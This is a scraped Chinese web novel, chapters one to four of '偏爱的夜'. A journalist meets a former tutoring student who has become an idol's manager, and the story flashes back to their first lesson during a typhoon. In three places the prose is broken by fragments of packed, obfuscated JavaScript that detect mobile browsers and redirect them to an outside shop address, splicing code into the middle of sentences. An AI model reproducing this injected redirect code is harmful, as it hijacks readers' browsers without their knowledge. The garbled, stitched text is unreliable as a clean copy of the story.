《偏爱的夜》 1. 引子 傍晚七点。S市天气预警,南下的台风即将降临。 天空已经下起淅沥的小雨。林听宁完成最后一个采访,和带的实习生走进街边的便利店。 她买了两份关东煮套餐,递了其中一份给实习生。 实习生名叫季然,是报社旁一所大学新闻系大三的学生。虽然采写基础差些,但人长得清秀帅气,性格也外向,最重要的是,在这个传统媒体落魄成夕阳产业的年代,不知什么原因,他居然愿意从年初一直实习到现在。 季然接过关东煮道了谢,趁她不注意,自己又买了两杯奶茶,殷勤地递给她一杯。 十月末的夜晚,天气转凉,关东煮的热气在玻璃上凝成水雾。两人坐在窗边解决晚饭。林听宁边用手机把刚刚的录音转成文字,季然在一旁摆好关东煮和奶茶拍照。过了会,季然忽然出声,“听宁姐,附近长海路好像有一起交通事故。” 语音转完,林听宁拿起一串丸子咬了一口,“是吗,希望人没事。” “好像不止是简单的交通事故,”季然有些激动,“是一个从K国回来的偶像被私生饭追尾,不过也有说是狗仔追尾的,现场还没有比较清楚的情况。” 林听宁咀嚼的动作顿了顿。她抬起头,目光刚好和季然对视上。 季然问,“我们要去报道吗?” “……希望不用。”林听宁说。 她话音刚落,手机便打来了电话,是采编部的主任。 林听宁在内心叹了口气。她接起电话,对方果不其然地是在提这件事。浦江晚报虽然也是没落了,但相较其他报社还算维系得可以,靠的就是这些娱乐新闻。 挂完电话,林听宁一口气把关东煮都吃下,提起包,“吃完了吗?没吃完边走边吃吧。” 季然忙端起关东煮提上奶茶跟上。雨势不大,林听宁在线人群里看了下地点,离他们这确实近,走路只用十分钟。 季然囫囵吃完关东煮,跟上她的步伐。两人一前一后走在街道上,季然看着她边用手机查相关信息,忍不住留神着她周围怕她摔倒。 相处大半年,他有时候还是觉得自己看不懂这位带教记者,比如现在。 明明刚刚还是完全不想管这摊事的状态,可真让她来负责,她又会像这样十分认真地对待。季然其实刚到报社时,还奇怪林听宁这样的人怎么会当记者。她几乎是对周遭事最不关心,也是对正义和真相最没追求的一个,可这大半年期间,采编部的人换了又换,多少他当初觉得最有新闻理想的人不到一个月就选择离开,却是她一直都在。 他也听采编部主任提起过,林听宁是本科就在这实习,毕业后直接留下,满打满算,几乎是现在的采编部呆的时间最长的记者了。 雨下得有些大了。季然回过神,想从包里拿伞,却发现自己没带。他只能把放采访提纲的文件袋拿了出来,想了想,抬手用它遮挡在林听宁头上。 林听宁收集好资料,放下手机,才看到头顶悬着的文件袋。她沉默了下,侧头示意,“别挡了,也遮不到什么,一会文件都弄湿了。” 季然只得颇为尴尬地把文件袋放下。不知哪里传来警车的鸣笛声,两人对视一眼,林听宁先跑了起来,季然立马跟上。 警察到了现场拉起警戒线,几乎就没什么能拍到了。 终于赶到现场,才发现同行和路人早已里三层外三层围得水泄不通。季然从包里拿出相机披上防水布,试图踮起脚远拍几张,也只能拍到些许模糊不清的黑烟和撞坏的车。 林听宁先去周围问了些信息,确认是事故是因为狗仔载了三个私生粉丝,在追车途中发生碰撞。雨天路滑,碰撞程度还有些严重,有目击路人说偶像被经纪人护着,没受什么伤。 她走回季然身边,“有拍到什么吗?” 季然有些丧气,“没,人太多了,完全拍不到。” 林听宁没说什么。她向周围看了圈,稍拍了下季然的肩膀示意他跟上。季然不明所以地跟着她走到一个刚从里面出来的男人身旁,看到她走上前问。 “老兄,交完差之后有多余的照片吗?” 那人抬起眼,上下打量了一下她,“你能出多少?” 林听宁比了个数。 “太少了,”那人瘪嘴,“至少加两成。” “都不容易,”林听宁语气温和,“这些已经是我们能给到最高的价了,以后互帮互助,多个朋友多条路。” 男人没有接话。 她又缓缓补充,“这也不算什么大事。拍到的人这么多,再晚一点,可能连这个价都给不到了。” 过了片刻,林听宁走回来,把手机递给季然。季然震惊地看着她手机上多出的几张现场照片,“听宁姐,还能这样?” 林听宁轻扯了扯唇角。 “你觉得现场情况怎么样?” “……被撞的车辆车尾凹陷,后玻璃碎裂,撞车的车辆前车凹陷起火,”季然翻着那几张照片来回看,边总结,“现场地面有血迹,还有一台相机。” 还算详尽。林听宁微微点头,“还有一点,当事人只有一位在现场。” 季然看向她。 “其他人应该已经去最近的医院了。”林听宁从他手中拿回手机,“去碰碰运气吧。” 雨势有些扰人,但他们谁都没再想起撑伞。林听宁在手机上找到最近的两家医院,和季然分工了一下。 “你那边有情况立刻联系我,不要自己行动。” 季然忙点点头。 林听宁打车到稍远的那家。下了车到服务台,她已经看到几个同行带着相机从门口进去。她先在服务台问了下情况,基本确定有车祸病人刚刚送到。 几个同行立刻就往急诊去了,她边找相机边打电话给季然,“在我这边,你现在打个车过来。” 季然:“啊?可是听宁姐我这边也有情况,我刚还想打给你的。” 林听宁愣了愣。季然继续道,“刚刚护士把我赶出去了,然后我跟门口保安聊了一下,他说有一个男的刚刚满脸是血地被送过来了,后面又跟了三个女生也受伤了。” 难道是兵分两路?林听宁快速思考了一下,“你再进去,找找有没有带相机的人,跟着他们走,他们拍什么你拍什么。别走前面,有情况立刻跑。我这边也有情况抽不开身找你。” 季然赶紧道,“没问题姐!放心吧。” 林听宁顿了顿,仍是有些不放心,片刻还是道,“算了,你……” 她话音未落,急诊科廊道,忽然同行们纷纷都涌了出来。 她下意识抬起相机按下录像,边抬头看过去。几个人不知得了什么消息,向着一旁治疗室的方向跑。 距离有些远了,她单手调好焦距,边也往那边走,再举起相机时,治疗室的门推开,出来了一个戴着口罩的高挑男生。 他眉眼不知道在说什么,眼睛都有些红了,林听宁对着手机说,“你别管了,赶紧过来找我。” 季然有些抗拒,“啊?可是我这边……” 林听宁边向那边走,已经没有心情听他再说什么了。她靠近了人群,隐隐约约听到男生略带颤抖的声音,“你们能别拍了吗?也哥受伤需要治疗,他本来就……” 男生大概也不过十八九岁,显然有些不善应对这种场面。镜头几乎瞬间就全对准了他,其中一个记者问道,“也哥是谁?” “是他经纪人。你能不能回应一下,你这次回国行程为什么突然被站姐发到微博上了?是不是故意营销?” “那你们是不是该为粉丝受伤负责?” 众人瞬间七嘴八舌了起来。混乱期间,林听宁听到手机那边传来季然的声音,“有病人出来了!听宁姐我先过去了!” 嘈杂的环境里,林听宁忍不住提高声量:“你——” 然而她话音未落,治疗室的门忽然再次打开了。 她下意识举起相机抬头。治疗室内,一名医生最先露面。他搀扶着另一个人,走了出来。 男人个高,头发染成惹眼的金色。他戴着黑色口罩,穿一身黑色的风衣,让在外的皮肤显得白皙而刺眼。眉眼一如当年,深邃而具有蛊惑感,可整个人的气质却成熟了不少。 他与少年前后而立,让人一时分不清谁才是明星。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004192|193995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林听宁缓慢地眨了下眼睛。 她有种近似失声的感受,一时说不出一个字。电话那边,传来了忙音。眼前,男人先伸手,把站在外面的少年扯进了治疗室,关上门,才回过头,垂眸略微扫了下现场记者。 几秒后,他微微欠了欠身。 “感谢各位对Reece的关注,今晚的事故我们已经报警,还请大家等待警方的调查。” “关于Reece回国的信息,我可以确认不是我们团队刻意放出的。”他语气冷静,“我们也会进一步追责,希望大家能耐心等待消息。” 十分老套的回应,现场的人明显不买账,又七嘴八舌了起来,男人垂下眼,依旧是平稳的声音,“各位记者的单位我都记住了。等有结果,会第一时间联系大家。” 现场几乎瞬间安静了下来。男人微微弯了弯眼,“Reece这次回国,是想好好发展,以后有机会,还想和各位多多合作。” “一会助理会来和各位加联系方式,”他说,“还请大家先在医院外面等候片刻。这里毕竟是医院,影响到其他人就医也不好。” 他年纪也并不算大,然而话语之间,却有种应对记者的老练。大家都知道面对这种人,多半是问不出什么。本身就拍到了足够多的素材交差,再加上他又给了甜枣,也没必要再多得罪。 现场的记者于是纷纷散开。林听宁也是此刻才意识到,自己还保持着边举相机边接电话的姿势。她匆忙放下手,低头背过身。 其他人走在前面。不知道谁抱怨了一句,说外面的雨下得好大。 她想起台风的天气预报,脚步停了停。 片刻,一把伞被挂在了治疗室的门把手上。林听宁走出医院,靠在玻璃边,低下头。 雨水带来潮湿的冷空气,呼吸甚至在空气中凝成薄薄的水雾。手机上,季然给她发了信息,说拍到了一些素材,现在打车来找她。 周围的环境好嘈杂。救护车声,交谈声,哭声,吵闹声。她思绪混乱,从包里翻出耳机戴上。 耳机里不知随机播放到了哪首歌,用不属于这座城市的方言轻缓地唱着。 “/不好爱/ /太多问题假装不在/ /无处不在/ … /就算你吞下来忍下来/ /有一些人却永远不适合被深爱*/……” 不知等了多久,手指都微微有些冻僵。终于,她听到了季然的声音,“听宁姐!” 她才像是溺水的人,被缓缓扯上了水面,拖至岸边。 季然跑了过来。他的视角里,只看到林听宁神色疲倦,脸似乎都冻白了。他下意识地脱下外套,往她身上披,“对不起啊姐姐,我耽误太久了……你都冻坏了吧?对不起啊对不起……” 陌生的气息搭在肩上,林听宁瞬间清醒了过来。她抬头,有些无奈地用手挡住,“不……” “没事姐!你披着!我跑过来的我不冷,”季然似乎十分愧疚,“姐你是不是也没带伞?我先去旁边买两把,你在这等我。” 他说完便又跑进雨里了。年轻人的体力,她自认完全跟不上。 她只得又站在原地。 过了片刻,雨幕里,她再次看到了他。一辆车停在门口,刚刚加他们联系方式的助理撑着伞,护着黑发男生上了车。 他在后方,风衣披在肩上,露出的手臂缠着绷带。 几乎是下意识的,她走上前一步。可又是下一秒,另一个声音告诉她,他已经不是从前跟在她身旁,用各种语气叫她老师,需要她注视着的少年了。 他上了车,和刚刚在室内一样,没有看向她一次。 林听宁停在原地,收回视线。 片刻,季然撑着伞跑了回来,一脸的不敢置信,“听宁姐,你知道有多奇葩吗,我刚到便利店门口,就有个人送了我两把伞。” 林听宁怔了怔,下意识回头。 透过被雨雾蒙湿的玻璃,她看到治疗室外,那把伞还孤零零地挂在门把手上。 像是用这种方式告诉她。 沈纵也已经不需要林听宁了。 2. 初见 时间回到林听宁大二的那一年。 林听宁的大学是在G市念的,和S市不同,G市靠海,台风几乎是这座城市居民司空见惯的存在。在不严重的台风天气里,这座城市的一切都照常运转。 开学后的第二个周五,林听宁手机又再次收到了台风预警消息。一整个上午,云层都绵密地堆积在G市的天空上,预告暴雨的到来。 等上完最后一门课,外面的天几乎完全暗下来了。 林听宁和舍友秦伊从教室走出来,另外两名小组成员跟在后面抱怨着。 “学院无人机一共就两台,让我们两周内把片子做出来,除去剪片子的时间,难道十个组一周就能把片拍完?” “挤一挤倒也可以,就是人家先借的也不一定愿意让给我们啊,我听说那两台管设备的老师早就借给自己熟悉的同学了……” 新闻系实务课多,而这门课的要求格外高,同学间对此的怨气并不少。秦伊原本在一旁饶有兴致地听着,但后边两人开始阴阳怪气老师和其他同学,便也没了兴趣。 她转头,看到林听宁在低头看手机。 秦伊搭上她肩膀,“在看什么呢?” 林听宁把手机抬高了些,让她也能看清楚。 “无人机租借,我们用最便宜的型号,一天一百出头就能租到。” 小组一共四人,平均下来每个人每天也就出二十几块钱。 林听宁生了副十分温和的长相。柳叶眉,一双鹿眼,鼻梁细挺,脸型秀气。脸庞说不上那处特漂亮,只是组在一起就十分融洽,给人的感觉就像是无风无雨的晴天。以至于从大一开始,班上知道有她这号人的同学,都普遍以为她是那种好脾气的那种人。 于是她话音刚落,两个男组员就不乐意了。 “哎不是,做个作业还真要我们自己掏钱啊?” “要出钱也该让老师给我们出,谁让他把截止时间缩这么紧的。” “我们的脚本和分镜老师都已经通过了。”等他们说完,林听宁继续说,“这几天下雨,下周一开始是晴天,我们争取三天拍完,再和老板讲一下价,每个人加起来出六十左右就可以了。” “六十?六块钱我都不愿意,”男生接着嚷嚷道,“谁要为拍作业花钱啊,除非能保证花了钱我们就能拿A。” 另一个人也跟着附和。 已经走出了教学楼,室外树丛间拂过的风劲儿也越来越大,摇摇欲坠的树叶几乎都被席卷下来。 林听宁把手机关了,抬起头。 她看向还在继续说着废话的组员,弯眼笑了笑,语气听上去也十分和气。 “说得对,那我们就别花钱了。” “没有无人机就不拍了,”她耸耸肩,“反正也是老师安排的时间有问题。我们交不上作业的话,就跟老师这样说好了。” “我也别找无人机了,省得浪费时间。”她说,“还是和你们一起抱怨吧,你们刚刚说到哪了?” 空气中一时静得只剩下风卷树叶的声音。组里另外两个人不知道什么情况,有些愣地看着她。但秦伊和林听宁做了一学期舍友,看她这笑意温和的表情下意识觉得不对,连忙揽住她肩膀。 “哎呀,我突然觉得租无人机这件事特别好,特靠谱。”秦伊打着哈哈道,“要不咱们就这么决定吧?” 另外两人张嘴就要反驳,秦伊一拧眉,“怎样,你们抱怨抱怨几句得了,借不到学院的无人机难道真不做了?不做你们自己申请退组去,我可不想挂科。” 两人一瘪嘴,其中一个男生看着更鬼机灵点,想了想道,“可是我这个月生活费都用完了,已经快没钱吃饭了,每天二十我也出不起。” 秦伊想都没想就不耐烦地挥手,“没钱就自己挣去——听宁平时还要勤工俭学打工赚生活费呢,还不是主动提了租无人机的事?有困难自己解决,难道还要我们给你垫着。” 林听宁沉默地看了她一眼,秦伊偷偷拍了下她的背。 要说长相,秦伊要比林听宁看起来阳刚百倍不止。本来就偏锐利的五官,还染了一头火红的狼尾短发,平时泡吧都会被同性搭讪,此刻板起脸来,也颇有几分威慑力。 两个人也都不说话了,秦伊看着气氛,补上最后一刀,“而且咱们脚本分镜能一遍过,是靠咱们组谁不用我多说了吧?你们老在这说些垃圾话,等到时候听宁真生气撂摊子了,我看你们怎么办。” 她这话也带了几分真情实感,因为是真怕林听宁就不管这门课的事了。 林听宁又看了她一眼,秦伊在背后暗示性地拍了拍她的肩。 这句话倒是成功让那两人有些害怕了。两人心知肚明小组作业是谁出力更多,只是实在没看出林听宁是生气了,又看了好几眼,她脸上还是那副没太多情绪的样子。 但他们也不敢再说什么,只连忙点头,算应下了一起租无人机的事。 等他们都走了,秦伊松了口气,转过头就见林听宁在看她。 她眼神有些幽怨,但神情放松了许多,一看就和刚刚的状态不一样。 “我平时勤工俭学赚生活费?” 秦伊心虚地吹了两声口哨,林听宁接着问,语气听起来也心平气和的,“我看着像生气了?” 秦伊“哎呀”了一声,伸手揽住她,“我这不是为了让他们少说点废话多干活嘛。” “再说我也没骗人,你平时做那么多兼职,那赚的钱不就用来花的?用来花的不就是勤工俭学赚生活费?”她振振有词,但也没想好生气那个点怎么编,便糊弄了过去,“这种人就是要说严重一点他们才能被唬住,你看刚刚不就挺奏效的。” 秦伊讨好地拍了拍她的肩,林听宁瞥她一眼,面露赞同地点了点头,“那你下次直接说我还要申请贫困补助吧,说不定他们能把我那份钱也出了。” “……”秦伊手上的动作停下,她左看右看林听宁的表情,也没看出个端倪来,最后还是凭借本能地立马双手合十俯下身,“对不住啊小林老师,我下次再也不敢了。” 林听宁看她一眼,抬手抵着秦伊的额头把人推直了。 “我没生气。” 秦伊心有戚戚然地“噢”了一声,心想自己其实也真不知道林听宁是不是真没生气。认识林听宁这一年来,自己这舍友就一直是一种和外表相符的情绪稳定的状态。但她自打大一见到这个舍友就有种莫名的感觉,感觉对方和自己从小到大都很畏惧的某类型老师一样。 那种看着全班吵闹,也不批评也不心急,只站在讲台上,等全班渐渐安静下来时,再淡淡来一句“我看你们能吵到什么时候”的老师。 乌云聚集,酝酿着一场大雨。秦伊眼看这事过去了,又再次揽住林听宁的肩膀,“那咱们回宿舍吧?我给小林老师洗个苹果赔罪。” 林听宁仍由她搭着肩,“小林老师回来再吃吧。” “嗯?这个天气你还要出去?” “是啊,”林听宁回,“小林老师要去勤工俭学。” “……”秦伊心道这事原来还没过去啊,又回忆了下今天周几,好奇道,“你平时不是周三和周六日的家教吗?怎么周五也要去了?” “那家停掉了。今天的是新接的。”林听宁说,“对了,你昨天是不是找我要量化课这周的作业,我刚刚发你邮箱了。” 她缓声补充,“友情提醒一下,作业今晚八点前要交。” 秦伊立刻哀嚎一声,松开揽着她的手,丢下一句“谢小林老师臣先告退”就火急火燎地往宿舍跑了。 林听宁看着她过了马路,收回视线,从包里拿出手机。约好的家教时间是五点,还有近一个小时的时间。 这份家教是她高中认识的学长周承京介绍给她的。那时她是以地方特优生的身份被南中录取,孑然一身来到这座城市。当时周承京作为学生会会长,正好在负责外地生适应生活的工作,两个人因此熟悉起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这俩公交可以直达小区的门口,只是不知道从门口走到目的地还要多久。但回宿舍拿伞,时间是肯定来不及的。 正好她要乘坐的公交车在细雨中驶过路口,开向车站。林听宁没有再多想,直接上了车。 几乎是她坐下的同时,惊雷一声,瓢泼大雨洒了下来。城市瞬间浸没在暴雨里,林听宁从前从没见过下得这样又急又大的雨,但如今也见怪不怪了。 周承京这会大概是在会议中,给她发来‘注意安全’后便没有再说什么。 这个年代,城市里坐公交车的人已经不多。安静潮湿的车厢中,她就着带来的资料,边做笔记,边思考一会要怎么讲课。 车身摇摇晃晃,在一小时后将她带到了目的地。 雨势减小了一些。离目的地还有近十分钟的路,好在资料都有文件袋装着。 公交车后门打开,林听宁用手遮住头顶,低头跑进雨里。 后来她又走过很多次从门口到别墅的这条路,才发觉这条路其实很短。可她那天,大概是第一次试课,又是她第一次见到周承京的家人,让她不自觉有些紧张。思绪像许多纷乱的丝线交缠着,这条路也显得格外漫长。 视线中出现周承京告诉她的门牌号,她加速跑进门牌指向的那栋别墅的门口。 屋檐隔绝开她身后纷乱的雨丝,她抬手擦掉眼睫上的雨,又确认了一遍门牌号,抬手按响了门铃。 见面要说的话在她心里来回演练了数十遍。她边在脑海中最后一次模拟着开场对白,边等候门内的响应。 没有人开门。 林听宁静了静,又按了一次门铃。一声闷雷在她身后的天空响起,也让她心中蓦地漾起几分不好的预感。 这一次,沉重的木门打开了。 林听宁抬头看过去。 来开门的男生,个子很高,蓬松的头发微微有些凌乱。五官生精致又漂亮,几乎是让人挪不开眼的那种,只是似乎和周承京没有相似的地方。 少年低头看了她一眼,语气冷淡疏离。 “周承京让你来的?” 林听宁点头,还没出声,他便皱了皱眉,眼神里丝毫未遮掩不耐与冷漠。 “你回去吧,我什么都不需要。” 3. 第一课 屋檐外纷扰的雨洒落在地,檐内半开的门里,身着黑衣的少年,像是周围一切的终止符号。 林听宁看着他,一时间想起数个她曾经教过的,脾气又差、成绩也不好、浑身上下只剩一副好皮囊的学生。她沉默了几秒,提取着记忆里他的名字,开口道。 “你是沈纵也吗?” 少年倚着门框,看了她一眼,才微微点了下头。大概是身高的原因,他又没有低头,于是看她的姿态颇显居高临下。 林听宁露出和善的笑,和他自我介绍,“我叫林听宁,S大新闻系大二的学生。周承京是我的学长,是他介绍我来做家教试课的。” 沈纵也并未接话。她保持着笑容,“试课时间是两小时,一次结清,如果觉得不合适,也不会有后续了。” “试课费周学长已经给了,”她面不改色地撒了个谎,语气平和,“可以把这次课先上完吗,同学?” 气氛静默下来。沈纵也视线移开了一些,似乎看向了室外的雨。接着,也不知道是什么让他改变了心意,他收回视线,直起身。 “进来吧。” 他说完这句便转头向室内走。 林听宁愣了一下,旋即松了口气。如果沈纵也拒绝,她还真不知道还能说点什么打动他。毕竟她提起试课费,也只是她自己觉得如果钱花出去了不上课会心疼,没想到对他也能起作用。 她跟着少年进了门,顺手把身后的门关上,还没转身,就因为身后迎来的冷气打了个喷嚏。 她回过头,就看到沈纵也在玄关旁不远的位置看着她。 少年那表情,简直像无缘无故惹上天大的麻烦一样。林听宁轻扯了扯唇,装作没看见地好声问道,“要换鞋吗?” “不用,”沈纵也垂眸看了她一眼,又轻轻皱眉。 “算了,等会儿。” 林听宁原本都抬脚准备上台阶了,闻言又站停。少年说完那句话,就转身走了,也没说要去干什么。 林听宁耐心地在原地等。视野范围内,别墅的陈设称得上一览无余。玄关向内是只摆放了沙发的客厅,四周墙壁没有任何装饰,唯一的视觉中心是天花板的水晶吊灯,暖黄的灯光在水晶切面上折射出与室内格格不入的璀璨。 这像是一栋随时准备出租的房子。林听宁收回视线,抬手擦了擦顺着发梢滴在脸颊的水。大概五分钟后,沈纵也走了出来,递给她两包东西。 放在上面的那包是一次性毛巾,下面是一双没有拆封的一次性拖鞋。 林听宁倒是没想到他还会拿毛巾过来,双手接过,“谢谢。” 沈纵也没有接话,林听宁于是弯下腰开始换鞋,也是这时候才发现,沈纵也自己穿的也是一双一次性拖鞋。 不仅房子像是随时要出租,里面住的人也像是随时要离开。 还没有开始补课,林听宁已经隐隐有预感,这份家教大概不会有后续了。 她换好鞋又用毛巾简单擦了擦身上淋湿的地方,终于走上玄关的台阶,沈纵也坐在客厅沙发上,靠着沙发背低头看手机,完全没看她。 林听宁也是这时候才开始好好去看自己这个临时的学生。刚刚在门口视线被雨淋得有些模糊,但那时她就有隐约的感觉,这孩子长得十分好看。 单看脸庞,林听宁都觉得那是平时在荧幕里才会看到的长相。眼尾微微上挑,眼睫很长,遮住的眼眸漆黑却不失光彩。鼻梁立挺,侧边有颗不算明显的痣,嘴唇弧度漂亮,五官像是被谁精雕细琢过一般。 他坐在那,短袖袖口下白皙的小臂肌肉线条起伏流畅,长腿半支着地面,姿势完全说不上刻意,整个画面却还是如同在拍什么杂志封面。 林听宁和周承京相处的时间算长,印象里,学长一直是温文儒雅的人。她惯性地以为他的亲戚大概也会和他一样,但沈纵也给她的感觉完全是相反的,浑身上下都写满了随性与说不出的蛊惑感。 她走近他坐着的位置,低头问,“同学,在这里上课吗?” 沈纵也视线过了会儿才从手机上离开,抬眸看了她一眼,微抬下颌。 “坐那儿。” 他示意离他最远的一处沙发椅。 “然后等雨停,”他收回视线,“你就可以走了。” 林听宁无言地在原地站了几秒。随后,她从包里拿出提前准备好的资料,找出测试题的那一张,连同包里备用的一支笔一起放在沙发旁的桌面上。 似乎没想到她会做出这样的举动,少年眼皮微抬,看向她。 林听宁坐在他侧面的沙发上,把卷子推向他,“这是一份全科测试卷,每科只有十道题,主要是想了解一下你现在对知识的掌握程度。” 少年一动不动,看向她的那双漆黑眼眸里,明晃晃地写了几个字,“是不是听不懂人话”。 林听宁用听上去很好脾气的语调说道,“等你做完,我就走。” 毕竟周承京给她的任务就是熟悉他的情况,林听宁想这点要求,她还是尽量要做到。 沈纵也敛下眼,也不知在想什么。随后,他把手机扔在了一旁,微微向前俯身,拿起桌上的笔。 林听宁神色微松,还没说什么,沈纵也忽然出声。 “水都滴沙发上了。” 笔在他的指尖转了一圈,他也没抬头看她,语调有些拖长。 “能不能把身上的雨擦干净点儿,姐姐。” 室内只有冷气在缓缓流淌,随少年的话音结束,环境也变得安静如同凝固了一样。林听宁静了静,也不知道他为什么突然这样叫她,但还是继续抬起手上的一次性毛巾,又用力地把身上和头发都擦了擦。 直到她感觉自己把头发都揉干了以后,她才放轻了动作,垂下眸,看到少年正在写着的卷子。 因为周承京和她说的信息也十分简略,她只知道沈纵也在国外念的是高一。她不知道具体进度,所以卷子上除了高一的题目外,还有些初三和高二的混杂其中。 理科的部分,高二的题沈纵也一概略过。高一那一块,看得出他有尝试努力过,因为在旁边写了计算过程,但结果还是对错各半。初三的题目倒是熟练,但大概是没什么耐心做,看了几眼就选答案,最后也错了几道。 语文和文科题是一道都没填。最后是英语题,他只扫了几眼,最后在题干旁边草草写了“都会”两个字。 这两个字似乎比前面任何一个答案写得都更有底气一点,林听宁心想,该说不愧是留学生吗。 他撂下了笔,林听宁在他看过来之前,继续擦着头发。 但她等了半晌,也没等到少年开口,于是便抬起头。 少年含着笑意的双眼就这么出现在她视线里。客厅原本突兀的璀璨灯光,落在他眼里像是撒了细碎的星星一样。 见她看过来,他轻轻勾了勾唇角,却也不解释自己为什么笑,只把卷子推向她。 “做完了。” 林听宁是看着他把卷子做完的,本该确信这卷子没什么问题。但因为他这个表情,她伸手去拿试卷的动作还是微微有些迟疑。 她曾经教过的不那么好的学生里,有一个就在给她的试卷里黏了口香糖。 她先正反过了一遍卷子,也没发现什么问题。 林听宁看着卷子有些茫然,是耳后的一缕碎发散了下来,她才抬手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004194|193995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸了摸自己的头发。直到掌心触碰到了许多翘起的发丝时,她才反应过来他在笑什么。 扪心自问,林听宁觉得还挺幼稚的。但沈纵也本就个十六七岁的小孩,相较于黏口香糖等更恶劣的行为,这个笑实在无可厚非。而且从观赏角度来说,他笑起来确实要比不笑时更好看。所以她在内心选择了原谅。 她稍微顺平了自己的头发,低头开始认真批改卷子。 等批改完,她把卷子向沈纵也那侧推了一些。 “沈同学,你来看一下这道题。” 沈纵也早靠回沙发上玩手机了,闻言微顿,抬起眼。 林听宁看向他,用笔点了点卷子,语气耐心,“这道题,我看了你的计算过程,只差一点就可以解出来了。” 一节课的时间,原本也就教不了什么。雨还在下,她想,剩下的时间就把这套卷子讲清楚好了。 见他看了过来,林听宁便收回视线,继续讲那道题的解法。她没抬头,也就没有看到,少年似乎要说什么,但看了她一眼又没有说。 雨停的时候,夜幕已经完全笼罩在城市之上。那张试卷,红色的笔迹和黑色的交叠已经快看不清,最后一道空着的题也被少年的字迹填上。 林听宁直起身,油然而生一种成就感。她把笔盖合上,因为想到没有下次了,又从包里把准备的资料都拿出来,“这几份,是巩固练习…这份是高一的基础文言文知识,还有这张是…明天可以从这份做起,后天是这个。” 听她讲题的时候,沈纵也几次就差完全合上眼了。这会讲完题,他靠在沙发眼皮已经完全闭上,连头都没有点。 林听宁把资料都放在桌面上,站起身,“那我先走了,沈同学。” 沈纵也似乎有从鼻腔里细微地“嗯”一声,也可能是她的错觉。总之她走到玄关处,换好鞋,沈纵也在沙发上靠着,也没有动。 他的困意似乎也不像是装的。林听宁轻声合上门,走出了别墅。 室外夜色如墨,空气中还有大雨后浓重的潮湿气息。一晚上没打开手机,她本想看时间,却看到周承京打来的一通电话。 来电显示是五分钟前,林听宁想了想,还是拨打了回去。 几声忙音后,电话接通了。 “学长?” 周承京在那侧应了声,“听宁。” 林听宁站停在原地,“抱歉,刚刚在补课,没有接到电话。” 那边安静了几秒,周承京似乎笑了笑,“没事的。看起来补课还挺顺利。” “抱歉听宁,今天本来应该去接送你。”没等她回答,他便轻轻叹了口气,“今天下午的雨那么大,你有没有淋湿?” 他的语气耐心而温和,像是怎么和他诉苦都可以。 林听宁低头回答着,连自己都没有意识到,唇边泛起的弧度。 等到回绝了周承京说来接她的提议,她挂断电话,准备向夜色中走时,才察觉身后溢出的一斜方光亮。 她回过头,看到沈枞也不知什么时候,站在了门边的位置。 少年本身就高,一身黑衣下白皙的皮肤,在明暗分割的交界间格外显眼。 他似乎没想藏着不让她发现,就这么微倚着门框,毫不避让地看着她。 林听宁微微一顿,眸光不解。四目相对,沈纵也抬手,向她递来一把伞。 林听宁愣住,颇有些受宠若惊地看向他。但她还没来得及说什么,沈纵也便先一步开口。 “姐姐。” 他神色还是困倦的,眼里却多了些许玩味,好像是这天晚上第一次,对她产生了一丁点兴趣。 “你喜欢我哥?” 4. 续约 回程中天又下起了小雨。回到宿舍,林听宁把那把借来的伞小心地放在阳台晾着,走进门,看到宿舍只留了一盏小夜灯。 秦伊正就着那点灯光躺在床上玩手机。林听宁回到座位把包放下,她翻了个身,语气听起来可怜兮兮的,“小林老师回来了?补课还顺利吗?” 林听宁抬头看了她一眼,“量化课作业写完了?” 秦伊立刻哀嚎,“听宁,你没听出来我有点鼻音吗,好像是下午淋雨有点感冒了,你怎么都不先关心我的身体情况?” 林听宁走到饮水机旁接了杯水,“那你现在身体怎么样?” “头晕晕的,四肢无力,还有点鼻塞。” 林听宁喝了口水,“那你作业写完了没?” “……”秦伊用枕头捂住头,“没写完!没写完!根本看不懂一点…” 感受到她在床上翻滚的动静,林听宁轻轻扬了下唇角,抬手敲了敲她床沿,“下床,哪里不懂?” 秦伊立刻欢呼雀跃了一声,翻身下床。林听宁给她讲解了几分钟,见她的确一副病恹恹的模样,最后也没再浪费时间,直接帮她做完了剩下的部分。 洗漱收拾完后,她倒头躺在床上。 半夜下起的小雨一直连绵到现在不止。淅淅沥沥的雨声从窗台传来,她想起那把伞,想她放的位置,这么小的雨应该淋不到。 沈纵也给她递伞的时候她是真的没有想到。以至于他问的那个莫名其妙的问题后,她都没什么反应,只沉默了好一会,温声确认了一遍伞是不是给她的。 少年当时的表情,无语占了九成。最后他也没执着于那个问题,把伞扔进她怀里就转身进屋了。 林听宁后来在公交上才反应过来,大概是听到了她和周承京的电话,他才会这样问,尽管她也不知道为什么一通电话就会让他这样想。 但就是在平常,问她这个问题,她也是不会回答的。 因为她根本没有想过。 伴着雨声,林听宁轻轻翻了个身,合上眼。 倒是沈纵也,和她的想象完全不一样。 仔细想想,他不止是最后给她送了伞,之前也给她拿了毛巾擦雨。 